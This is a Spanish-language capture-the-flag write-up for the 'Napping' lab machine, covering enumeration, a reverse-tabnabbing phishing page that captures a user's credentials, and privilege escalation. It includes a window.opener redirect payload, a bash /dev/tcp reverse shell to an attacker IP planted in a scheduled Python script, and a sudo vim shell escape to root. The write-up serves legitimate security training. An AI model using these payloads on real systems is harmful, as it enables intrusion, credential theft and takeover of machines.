**Informe de Actividades - Máquina CTF "Napping"**

**Introducción:**

El presente informe detalla las actividades realizadas en el marco del desafío CTF "Napping". El objetivo de este desafío es obtener acceso a la máquina y obtener privilegios de root para tener control total sobre la misma. Durante el proceso, se llevaron a cabo diversas etapas, como la exploración inicial de servicios, el análisis de la página web, la escalada de privilegios y la obtención de privilegios de root. El informe proporcionará un resumen detallado de cada etapa, incluyendo los resultados obtenidos, las herramientas utilizadas y las recomendaciones para futuras acciones. Es importante destacar que todas las actividades se llevaron a cabo siguiendo las pautas éticas y cumpliendo con las regulaciones legales establecidas.

1. **Exploración Inicial – Enumeración de Puertos: :**

Se realizó una exploración inicial de la máquina CTF "Napping" utilizando la herramienta NMAP. Los resultados de la exploración revelaron los siguientes servicios y puertos abiertos:

* Puerto 22/tcp: Servicio SSH (OpenSSH 8.2p1 Ubuntu 4ubuntu0.3)
* Puerto 80/tcp: Servicio HTTP (Apache httpd 2.4.41)

Estos resultados proporcionaron información inicial sobre los servicios disponibles en la máquina y sirvieron como punto de partida para el siguiente paso.

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Enumeración de Directorios (Gobuster):**

Se ejecutó la herramienta GoBuster en la máquina CTF "Napping" para buscar directorios y archivos ocultos en el sitio web. A continuación se detallan los resultados obtenidos:

* /index.php: Estado 200, Tamaño 1219 bytes.
* /register.php: Estado 200, Tamaño 1566 bytes.
* /welcome.php: Estado 302, Tamaño 0 bytes. Redirección a /index.php.
* /logout.php: Estado 302, Tamaño 0 bytes. Redirección a /index.php.
* /config.php: Estado 200, Tamaño 0 bytes.

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

1. **Análisis de la Página Web y Explotación de Tabnabbing:**

Se llevó a cabo un análisis del código fuente y la funcionalidad de la página web alojada en el puerto 80/tcp. Durante el análisis, se descubrió una vulnerabilidad de Tabnabbing, que permitía la captura de pestañas y el redireccionamiento a una página web falsa.

Utilizando esta vulnerabilidad, se creó una página web falsa que simulaba ser la página de inicio de sesión legítima. Mediante esta técnica, se obtuvieron las credenciales de un usuario legítimo.

**Detalles de las Actividades**

Durante el análisis de la página web en la máquina CTF "Napping", se llevaron a cabo las siguientes actividades y se descubrieron las siguientes vulnerabilidades:

**Análisis del Código Fuente:**

Se revisó el código fuente de la página web, pero no se encontraron pistas relevantes ni vulnerabilidades evidentes.

**Creación de un Nuevo Usuario:**

Se descubrió que la aplicación web permite crear nuevos usuarios.

**Vulnerabilidad de Tabnabbing:**

Se identificó que la aplicación web permitía insertar un enlace HTTP en el campo "Blog link" del formulario de la página "welcome.php".

Mediante la creación de una página web falsa y la explotación de la vulnerabilidad de Tabnabbing, se realizó un engaño al usuario para que introdujera sus credenciales en la página falsa sin darse cuenta.

Se crearon dos archivos en la máquina atacante: "index.html", que simula ser la página original del servidor web, y "indez.html", que contiene una llamada a netcat esperando en el puerto 9000.

Ejemplo de Código HTML de la Página Falsa ("index.html"):

<!DOCTYPE html>

<html>

<head>

<title>Título de la página</title>

</head>

<body>

<script>

window.opener.location='http://192.168.20.30:9000/indez.html';

</script>

</body>

</html>

**Inicio de Sesión y Obtención de Credenciales:**

Se insertó la URL de la máquina atacante junto con el nombre del archivo falso ("http://192.168.20.30/indez.html") en el campo "Blog link" de la página "welcome.php".

Al hacer clic en el enlace creado, se abrió la página web maliciosa y se redireccionó al usuario a la página falsa que simulaba ser la página de inicio de sesión legítima.

Después de unos segundos, se recibieron las credenciales del usuario: nombre de usuario "daniel" y contraseña "C@ughtm3napping123".

***Comandos:***

* ***Python3 -m http.server 80***
* ***nc -lvp 9000***
* ***nano indez.html***

1. **Acceso SSH y Escalada de Privilegios:**

Se utilizó el nombre de usuario y la contraseña obtenidos para iniciar sesión en la máquina a través del servicio SSH.

Se utilizó el nombre de usuario y la contraseña obtenidos durante el análisis de la página web para acceder a la máquina a través del servicio SSH.

Una vez dentro de la máquina, se identificó que el usuario tenía privilegios en el grupo de administradores con el comando find / -group administrators -type f 2>/dev/null. Esto abrió la oportunidad de buscar archivos de interés.

Utilizando el comando "find" y el conocimiento de los archivos accesibles al grupo de administradores, se descubrió un archivo de Python llamado "query.py". Este archivo verificaba el estado del servidor web y lo escribía en un archivo "site\_status.txt".

Por el cual se modifico el archivo query.py para ejecutar una revershell por el cual creamos el archivo Shell.sh en el directorio /dev/shm con el contenido:

***bash -c "/bin/bash -i >& /dev/tcp/192.168.20.30/443 0>&1"***

Luego, avancemos y editemos el script de python para ejecutar este shell:

***import os***

***os.system('/usr/bin/bash /dev/shm/shell.sh')***

Y en aproximadamente 2 minutos, obtenemos un shell inverso obteniendo acceso con el usuario adrian

***Comandos:***

* ***find / -group administrators -type f 2>/dev/null***
* ***bash -c "/bin/bash -i >& /dev/tcp/192.168.20.30/443 0>&1"***
* ***nc -lvp 443***
* ***nano shell.sh***
* ***ssh <usuario>@<IP>***

1. **Privilegios Root:**

Mediante el comando "sudo -l", se verificó que el usuario actual tiene permisos para ejecutar el comando "/usr/bin/vim" con privilegios de root sin necesidad de contraseña.

**Exploit de Vim:**

Utilizando la base de datos de gtfobins, se encontró una forma de aprovechar el comando "/usr/bin/vim" para ejecutar un shell con privilegios de root. El exploit se puede realizar utilizando el siguiente comando:

***sudo /usr/bin/vim -c ':!/bin/sh'***

Este comando aprovecha una función específica de Vim para ejecutar comandos del sistema, permitiendo así obtener un shell con privilegios de root.

Con la ejecución de este comando final, se obtendrán privilegios de root en la máquina CTF "Napping", lo que proporcionará un control total sobre el sistema.

***Comandos:***

* ***sudo -l***
* ***sudo /usr/bin/vim -c ':!/bin/sh'***

**Conclusiones:**

En base a los avances y resultados obtenidos hasta el momento, se pueden extraer las siguientes conclusiones:

* Se ha logrado obtener acceso a la máquina y escalada de privilegios para obtener privilegios de root.
* Las vulnerabilidades de Tabnabbing y la explotación de privilegios de grupo han sido clave en el progreso obtenido.
* Se ha demostrado la importancia de realizar un análisis exhaustivo de los servicios y aplicaciones web, así como la búsqueda de vulnerabilidades específicas para la escalada de privilegios.
* Se recomienda seguir explorando y analizando los recursos y archivos accesibles con privilegios de root en busca de posibles vulnerabilidades adicionales o áreas de interés.

Este informe proporciona un resumen de los avances y resultados obtenidos hasta el momento en la máquina CTF "Napping".